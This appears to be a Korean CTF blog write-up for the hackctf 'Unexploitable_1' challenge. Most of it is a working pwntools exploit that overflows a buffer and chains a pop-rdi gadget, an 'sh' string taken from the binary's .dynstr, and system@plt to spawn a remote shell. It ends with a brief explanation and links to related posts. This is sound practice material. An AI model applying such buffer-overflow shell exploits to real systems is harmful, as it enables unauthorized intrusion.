from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3023)
#p = process('./Unexploitable_1')
e = ELF('./Unexploitable_1')
context.log_level="debug"
sh = next(e.search('sh\x00'))
p_r = 0x00000000004007d3
p.recv()
pause()
payload = 'a' * 0x18
payload += p64(p_r)
payload += p64(sh)
payload += p64(e.plt['system'])
log.info('sh : ' + hex(sh))
p.sendline(payload)
p.interactive()
dynstr에 있는 fflush의 끝에 있는 sh\x00 요걸 system의 인자로 주어서 익스를 하면 된다. 사실 저걸 알 필요 없이 바이너리 메모리에 올려져있는 문자열을 찾아주는 갓갓 pwntools으 기능을 이용하면 저렇게 쉽게 찾을 수 있다. (단 여기서 next()요걸로 감싸주어야한다.)
'CTF write-up > hackctf' 카테고리의 다른 글
[hackctf]random (0) | 2019.07.18 |
---|---|
[hackctf]Unexploitable_2 (0) | 2019.07.18 |
[hackctf]SysROP (0) | 2019.07.15 |
[hackctf] you are silver (0) | 2019.07.15 |
[hackctf]ROP (0) | 2019.07.15 |